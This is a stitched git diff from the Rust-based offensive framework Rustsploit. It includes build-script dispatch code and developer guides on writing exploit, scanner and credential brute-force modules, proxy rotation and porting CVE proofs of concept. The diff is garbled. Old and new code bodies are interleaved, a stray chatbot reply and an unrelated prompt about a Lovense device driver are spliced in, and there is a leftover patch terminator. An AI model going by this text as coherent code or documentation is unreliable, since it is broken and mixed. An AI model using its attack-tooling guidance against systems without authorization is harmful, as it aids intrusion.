"creds_dispatch.rs",
|
||||
"crate::modules::creds"
|
||||
);
|
||||
generate_dispatch(
|
||||
"src/modules/scanners",
|
||||
"scanner_dispatch.rs",
|
||||
"crate::modules::scanners"
|
||||
);
|
||||
}
|
||||
|
||||
/// Generates a dispatch function for a module category.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
|
||||
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
|
||||
/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
|
||||
/// * `category_name` - Category name for error messages (e.g., "Exploit")
|
||||
fn generate_dispatch(
|
||||
root: &str,
|
||||
out_file: &str,
|
||||
mod_prefix: &str,
|
||||
category_name: &str,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let out_dir = env::var("OUT_DIR")
|
||||
.map_err(|_| "OUT_DIR environment variable not set")?;
|
||||
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join(out_file);
|
||||
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let root_path = Path::new(root);
|
||||
if !root_path.exists() {
|
||||
return Err(format!("Module directory '{}' does not exist", root).into());
|
||||
}
|
||||
|
||||
// Collect all module mappings (using HashSet to avoid duplicates)
|
||||
let mut mappings = HashSet::new();
|
||||
visit_dirs(root_path, "".to_string(), &mut mappings)?;
|
||||
|
||||
if mappings.is_empty() {
|
||||
eprintln!("⚠️ Warning: No modules found in {}", root);
|
||||
}
|
||||
|
||||
// Sort mappings for deterministic output
|
||||
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
|
||||
sorted_mappings.sort_by_key(|(key, _)| key);
|
||||
|
||||
// Generate the dispatch function
|
||||
let mut file = File::create(&dest_path)
|
||||
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
|
||||
)?;
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
"/// Dispatches to the appropriate {} module based on module name.\n\
|
||||
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
|
||||
category_name.to_lowercase()
|
||||
)?;
|
||||
let mut mappings = Vec::new();
|
||||
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
)?;
|
||||
).unwrap();
|
||||
|
||||
// Generate match arms for each module (supporting both short and full names)
|
||||
for (key, mod_path) in &sorted_mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
// Support both short name and full path
|
||||
if short_key == *key {
|
||||
// No subdirectory, only short name
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
k = key,
|
||||
m = mod_code_path,
|
||||
p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
// Has subdirectory, support both short and full
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
m = mod_code_path,
|
||||
p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
for (key, mod_path) in &mappings {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
k = key,
|
||||
m = mod_path.replace("/", "::"),
|
||||
p = mod_prefix
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
|
||||
category_name
|
||||
)?;
|
||||
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}")?;
|
||||
|
||||
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
|
||||
Ok(())
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively visits directories to find all module files.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `dir` - Directory to scan
|
||||
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
|
||||
/// * `mappings` - Set to store (full_path, module_path) tuples
|
||||
fn visit_dirs(
|
||||
dir: &Path,
|
||||
prefix: String,
|
||||
mappings: &mut HashSet<(String, String)>,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
// Compile regex once for better performance
|
||||
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
|
||||
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
|
||||
.map_err(|e| format!("Failed to compile regex: {}", e))?;
|
||||
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
|
||||
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
|
||||
|
||||
if !dir.is_dir() {
|
||||
return Ok(());
|
||||
}
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
|
||||
let mut entries: Vec<_> = fs::read_dir(dir)?
|
||||
.collect::<Result<Vec<_>, _>>()?;
|
||||
|
||||
// Sort entries for deterministic processing
|
||||
entries.sort_by_key(|e| e.file_name());
|
||||
if path.is_dir() {
|
||||
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
|
||||
visit_dirs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
|
||||
if file_name == "mod" {
|
||||
continue;
|
||||
}
|
||||
|
||||
for entry in entries {
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name();
|
||||
let mod_path = format!("{}/{}", prefix, file_name)
|
||||
.trim_start_matches('/')
|
||||
.to_string();
|
||||
let key = mod_path.clone();
|
||||
|
||||
if path.is_dir() {
|
||||
// Recursively visit subdirectories
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.to_string_lossy().to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name.to_string_lossy())
|
||||
};
|
||||
visit_dirs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
// Process Rust files
|
||||
let file_stem = path.file_stem()
|
||||
.and_then(|s| s.to_str())
|
||||
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
|
||||
let mut source = String::new();
|
||||
fs::File::open(&path)?.read_to_string(&mut source)?;
|
||||
|
||||
// Skip mod.rs files
|
||||
if file_stem == "mod" {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Build module path
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Full key includes the category prefix (will be added in generate_dispatch)
|
||||
let key = mod_path.clone();
|
||||
|
||||
// Read and check for the run function signature
|
||||
let mut source = String::new();
|
||||
File::open(&path)?.read_to_string(&mut source)?;
|
||||
|
||||
if sig_re.is_match(&source) {
|
||||
mappings.insert((key.clone(), mod_path.clone()));
|
||||
let display_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
if sig_re.is_match(&source) {
|
||||
mappings.push((key.clone(), mod_path));
|
||||
println!("✅ Registered module: {}/{}", prefix, file_name);
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
println!(" ✅ Registered module: {}", display_path);
|
||||
} else {
|
||||
// Only warn in verbose mode to reduce noise
|
||||
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
|
||||
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
|
||||
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
-2407
File diff suppressed because it is too large
Load Diff
+286
-198
@@ -1,253 +1,341 @@
|
||||
# 🛠️ Rustsploit Developer Guide
|
||||
|
||||
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
|
||||
|
||||
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
|
||||
|
||||
> This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
## 🧠 Framework Philosophy
|
||||
|
||||
1. [Project Overview](#project-overview)
|
||||
2. [Code Layout](#code-layout)
|
||||
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
|
||||
4. [Shell Architecture](#shell-architecture)
|
||||
5. [Proxy Subsystem](#proxy-subsystem)
|
||||
6. [Command-Line Interface](#command-line-interface)
|
||||
7. [Authoring Modules](#authoring-modules)
|
||||
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
10. [Utilities & Helpers](#utilities--helpers)
|
||||
11. [Testing & QA](#testing--qa)
|
||||
12. [Roadmap & Ideas](#roadmap--ideas)
|
||||
RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via:
|
||||
|
||||
- 📟 CLI (`cargo run -- --command ...`)
|
||||
- 🖥️ Shell (`rsf>` prompt)
|
||||
|
||||
Goals:
|
||||
- 🔒 Safe-by-default
|
||||
- 📦 Cleanly separated modules
|
||||
- ⚡ Async concurrency
|
||||
- 🌐 Proxy-aware execution
|
||||
|
||||
---
|
||||
|
||||
## Project Overview
|
||||
## 🗂️ Directory Structure
|
||||
|
||||
Rustsploit is a Rust-first re-imagining of RouterSploit:
|
||||
|
||||
- Async-native (Tokio) for scalable brute forcing and network IO
|
||||
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
|
||||
- Interactive shell + CLI runner referencing the same dispatch layer
|
||||
- Proxy-aware execution with run-time rotation, validation, and fallback logic
|
||||
- IPv4/IPv6-friendly: target normalization happens uniformly
|
||||
- Carefully colored, concise output designed for operators on remote consoles
|
||||
|
||||
---
|
||||
|
||||
## Code Layout
|
||||
|
||||
```text
|
||||
rustsploit/
|
||||
```
|
||||
routersploit_rust/
|
||||
├── Cargo.toml
|
||||
├── build.rs # Generates dispatcher code by scanning src/modules
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers
|
||||
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── exploit.rs
|
||||
│ │ ├── exploit_gen.rs # build.rs output
|
||||
│ │ ├── scanner.rs
|
||||
│ │ ├── scanner_gen.rs # build.rs output
|
||||
│ │ ├── creds.rs
|
||||
│ │ └── creds_gen.rs # build.rs output
|
||||
│ ├── modules/ # Fully auto-discovered attack modules
|
||||
│ │ ├── exploits/
|
||||
│ │ ├── scanners/
|
||||
│ │ └── creds/
|
||||
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
|
||||
├── docs/
|
||||
│ └── readme.md # This document
|
||||
├── lists/
|
||||
│ ├── readme.md # Wordlist + data file catalogue
|
||||
│ ├── rtsp-paths.txt
|
||||
│ └── rtsphead.txt
|
||||
└── README.md # Product overview
|
||||
├── build.rs
|
||||
└── src/
|
||||
├── main.rs # Entrypoint
|
||||
├── cli.rs # CLI argument parser
|
||||
├── shell.rs # Interactive shell logic
|
||||
├── commands/ # Module dispatch logic
|
||||
│ ├── mod.rs
|
||||
│ ├── scanner.rs
|
||||
│ ├── scanner_gen.rs
|
||||
│ ├── exploit.rs
|
||||
│ ├── exploit_gen.rs
|
||||
│ ├── creds_gen.rs
|
||||
│ └── creds.rs
|
||||
├── modules/ # All attack modules
|
||||
│ ├── mod.rs
|
||||
│ ├── exploits/
|
||||
│ ├── scanners/
|
||||
│ └── creds/
|
||||
└── utils.rs # Common utilities
|
||||
```
|
||||
|
||||
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
|
||||
|
||||
---
|
||||
|
||||
## Build Pipeline & Module Discovery
|
||||
## 🔗 Module System
|
||||
|
||||
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
|
||||
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
|
||||
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
|
||||
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
|
||||
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
|
||||
|
||||
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
|
||||
|
||||
---
|
||||
|
||||
## Shell Architecture
|
||||
|
||||
The shell lives in `src/shell.rs`. Highlights:
|
||||
|
||||
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
|
||||
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
|
||||
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
|
||||
- **Command palette:** `render_help()` prints a colorized table for quick reference.
|
||||
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
|
||||
- **Run pipeline:** On `run`/`go`, the shell enforces:
|
||||
- Module selected
|
||||
- Target set
|
||||
- Proxy state respected (rotate until success or fallback direct)
|
||||
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
|
||||
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
|
||||
|
||||
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
|
||||
|
||||
---
|
||||
|
||||
## Proxy Subsystem
|
||||
|
||||
Implemented in `utils.rs` and surfaced in the shell.
|
||||
|
||||
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
|
||||
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
|
||||
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
|
||||
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
|
||||
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
|
||||
|
||||
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
|
||||
|
||||
---
|
||||
|
||||
## Command-Line Interface
|
||||
|
||||
`src/cli.rs` uses Clap to expose three commands:
|
||||
|
||||
- `--command exploit|scanner|creds`
|
||||
- `--module <name>` (short or qualified, same mapping as the shell)
|
||||
- `--target <host|IP>`
|
||||
|
||||
Example:
|
||||
|
||||
```bash
|
||||
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
|
||||
```
|
||||
|
||||
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
|
||||
|
||||
---
|
||||
|
||||
## Authoring Modules
|
||||
|
||||
Every module must export:
|
||||
Each module is a Rust file with a required `run()` entry point:
|
||||
|
||||
```rust
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>
|
||||
```
|
||||
|
||||
### Optional:
|
||||
|
||||
```rust
|
||||
pub async fn run_interactive(target: &str) -> anyhow::Result<()> {
|
||||
// internal prompts or logic
|
||||
}
|
||||
```
|
||||
|
||||
### Placement:
|
||||
|
||||
- Exploits: `src/modules/exploits/`
|
||||
- Scanners: `src/modules/scanners/`
|
||||
- Credentials: `src/modules/creds/`
|
||||
|
||||
Subfolders are supported:
|
||||
- `exploits/routers/tplink.rs` → `tplink` or `routers/tplink`
|
||||
- `scanners/http/title.rs` → `title` or `http/title`
|
||||
|
||||
---
|
||||
|
||||
## ✅ Adding a New Module
|
||||
|
||||
### 1. Create File
|
||||
|
||||
```rust
|
||||
// src/modules/scanners/ftp_weak_login.rs
|
||||
use anyhow::Result;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// ...
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
println!("[*] Checking FTP on {}", target);
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Guidelines:
|
||||
|
||||
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
|
||||
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
|
||||
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
|
||||
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
|
||||
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
|
||||
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
|
||||
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
|
||||
|
||||
### Example skeleton
|
||||
### 2. Register in `mod.rs`
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Checking {}", target);
|
||||
|
||||
let url = format!("http://{}/status", target);
|
||||
let body = reqwest::get(&url)
|
||||
.await
|
||||
.with_context(|| format!("failed to reach {}", url))?
|
||||
.text()
|
||||
.await
|
||||
.context("failed to fetch body")?;
|
||||
|
||||
if body.contains("vulnerable") {
|
||||
println!("[+] {} appears vulnerable", target);
|
||||
} else {
|
||||
println!("[-] {} not vulnerable", target);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
pub mod ftp_weak_login;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Modules: Best Practices
|
||||
## 🧠 Auto-Dispatch System
|
||||
|
||||
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
|
||||
The CLI/shell can call:
|
||||
```bash
|
||||
cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1
|
||||
```
|
||||
|
||||
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
|
||||
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
|
||||
- **Concurrency:**
|
||||
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
|
||||
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
|
||||
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
|
||||
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
|
||||
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
|
||||
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
|
||||
Or in the shell:
|
||||
```
|
||||
rsf> use scanners/ftp_weak_login
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
Behind the scenes:
|
||||
|
||||
1. `build.rs` scans `src/modules/` recursively
|
||||
2. Detects files with `pub async fn run(...)`
|
||||
3. Generates:
|
||||
- `exploit_dispatch.rs`
|
||||
- `scanner_dispatch.rs`
|
||||
- `creds_dispatch.rs`
|
||||
4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`)
|
||||
|
||||
---
|
||||
|
||||
## Exploit Modules: Best Practices
|
||||
## ❌ What Not To Do
|
||||
|
||||
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
|
||||
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
|
||||
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
|
||||
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
|
||||
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
|
||||
- ❌ No `run()` → won’t dispatch
|
||||
- ❌ Don’t name multiple functions `run()` in one file
|
||||
- ❌ Don’t use `mod.rs` as a module — ignored by generator
|
||||
- ❌ Don’t forget to update `mod.rs` when adding modules
|
||||
|
||||
---
|
||||
|
||||
## Utilities & Helpers
|
||||
## ⚙️ CLI Usage
|
||||
|
||||
`src/utils.rs` provides:
|
||||
```bash
|
||||
cargo run -- --command exploit --module my_exploit --target 10.0.0.1
|
||||
```
|
||||
|
||||
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
|
||||
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
|
||||
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
|
||||
### Args:
|
||||
|
||||
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
|
||||
- `--command`: exploit | scanner | creds
|
||||
- `--module`: file name of module
|
||||
- `--target`: IP or host
|
||||
|
||||
---
|
||||
|
||||
## Testing & QA
|
||||
## 🖥️ Shell Usage
|
||||
|
||||
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
|
||||
2. **Build:** `cargo check` ensures new modules compile.
|
||||
3. **Runtime smoke tests:**
|
||||
- Shell: `cargo run` → `modules` → run a harmless module (e.g., `scanners/sample_scanner`).
|
||||
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
|
||||
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
|
||||
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
|
||||
Then:
|
||||
|
||||
```
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use scanners/heartbleed_scanner
|
||||
rsf> set target 192.168.0.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
Maintains internal state:
|
||||
- `current_module`
|
||||
- `current_target`
|
||||
- `proxy_list`
|
||||
- `proxy_enabled`
|
||||
|
||||
---
|
||||
|
||||
## Roadmap & Ideas
|
||||
## 🔁 Proxy Retry Logic (Shell Only)
|
||||
|
||||
- Interactive shell improvements (history, tab completion, colored banners)
|
||||
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
|
||||
- Credential module templates (derive-style macros for common prompts)
|
||||
- Integration with external wordlists (dynamic download or git submodules)
|
||||
- Session logging (`tee` support) and output JSON export for pipeline ingestion
|
||||
- Transport abstractions for UDP/DoS modules
|
||||
Proxy logic only applies in shell mode (`rsf>`).
|
||||
|
||||
Contributions are welcome—open an issue or start a discussion before large refactors.
|
||||
### Flow:
|
||||
|
||||
1. User types `run`
|
||||
2. Shell checks:
|
||||
- Module is selected?
|
||||
- Target is set?
|
||||
- Proxy enabled?
|
||||
|
||||
---
|
||||
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
|
||||
### Case 1: Proxy ON, Proxies LOADED
|
||||
|
||||
- Create `HashSet<String>` → `tried_proxies`
|
||||
- Loop:
|
||||
- Pick random untried proxy
|
||||
- Set `ALL_PROXY` using:
|
||||
```rust
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
```
|
||||
- Call `commands::run_module(...)`
|
||||
- On success: stop
|
||||
- On error: mark proxy as failed, try another
|
||||
|
||||
- If all proxies fail:
|
||||
- Clear proxy env:
|
||||
```rust
|
||||
env::remove_var("ALL_PROXY");
|
||||
```
|
||||
- Try once directly
|
||||
|
||||
---
|
||||
|
||||
### Case 2: Proxy ON, No Proxies Loaded
|
||||
|
||||
- Show warning
|
||||
- Clear `ALL_PROXY`
|
||||
- Run once directly
|
||||
|
||||
---
|
||||
|
||||
### Case 3: Proxy OFF
|
||||
|
||||
- Clear proxy vars
|
||||
- Run module once
|
||||
|
||||
---
|
||||
|
||||
### Summary Flow:
|
||||
|
||||
```
|
||||
If proxy_enabled:
|
||||
while untried proxies:
|
||||
pick → set env → run → if fail → mark tried
|
||||
if none work → clear env → try direct
|
||||
else:
|
||||
clear env → try direct
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Module Execution Flow
|
||||
|
||||
Whether via CLI or shell:
|
||||
|
||||
1. `commands::run_module(...)`
|
||||
2. Determines type: `exploit`, `scanner`, or `cred`
|
||||
3. Calls correct dispatcher
|
||||
4. Dispatcher calls `run(target).await`
|
||||
5. Output shown to user
|
||||
|
||||
---
|
||||
|
||||
## 🛑 Error Handling
|
||||
|
||||
- All modules must return `anyhow::Result<()>`
|
||||
- Errors are caught and shown cleanly in CLI or shell
|
||||
|
||||
---
|
||||
|
||||
## ⚡ Async Features
|
||||
|
||||
- Entire framework is powered by `tokio`
|
||||
- All I/O modules are `async`
|
||||
- Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency
|
||||
|
||||
---
|
||||
|
||||
## 📡 Making Requests
|
||||
|
||||
Use `reqwest`:
|
||||
|
||||
```rust
|
||||
let resp = reqwest::get(&url).await?.text().await?;
|
||||
```
|
||||
|
||||
Or with client:
|
||||
|
||||
```rust
|
||||
let client = reqwest::Client::new();
|
||||
let resp = client.post(&url).json(&data).send().await?;
|
||||
```
|
||||
|
||||
✅ All requests respect `ALL_PROXY`
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Example Use Cases
|
||||
|
||||
### CLI
|
||||
|
||||
```bash
|
||||
cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100
|
||||
```
|
||||
|
||||
### Shell
|
||||
|
||||
```bash
|
||||
rsf> use creds/ftp_weak_login
|
||||
rsf> set target 192.168.1.100
|
||||
rsf> run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧼 Shell Reset
|
||||
|
||||
No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design).
|
||||
|
||||
---
|
||||
|
||||
## 🔐 Adapting CVEs
|
||||
|
||||
To build a real-world exploit:
|
||||
- Convert PoC to async Rust logic
|
||||
- Validate by checking known response headers/content
|
||||
- Place it in the right folder and wire `run()`
|
||||
|
||||
TCP/UDP logic:
|
||||
|
||||
```rust
|
||||
use tokio::net::{TcpStream, UdpSocket};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 💡 Feature Roadmap
|
||||
|
||||
add more exploits etc
|
||||
|
||||
---
|
||||
|
||||
## 👥 Contributors
|
||||
|
||||
- **Main Developer**: me.
|
||||
- **Language**: 100% Rust.
|
||||
- **Inspired by**: RouterSploit, Metasploit, pwntools.
|
||||
|
||||
|
||||
Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown.
|
||||
|
||||
@@ -61,6 +61,10 @@ Here is the original module that needs to be refactored:
|
||||
|
||||
|
||||
|
||||
|
||||
gemini
|
||||
|
||||
You are a senior Rust developer specializing in cross-platform, asynchronous hardware drivers. Your assignment is to develop a complete, production-grade Lovense device driver for Linux, written in Rust, using only information from official Lovense documentation and protocol references.
|
||||
|
||||
Strict Requirements:
|
||||
|
||||
|
||||
+1
-33
@@ -1,33 +1 @@
|
||||
# 📚 Rustsploit Data Files
|
||||
|
||||
This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
|
||||
|
||||
---
|
||||
|
||||
## Available Files
|
||||
|
||||
| File | Used By | Description |
|
||||
|------|---------|-------------|
|
||||
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
|
||||
---
|
||||
|
||||
## Contributing Lists
|
||||
|
||||
1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
|
||||
2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
|
||||
3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
|
||||
4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
|
||||
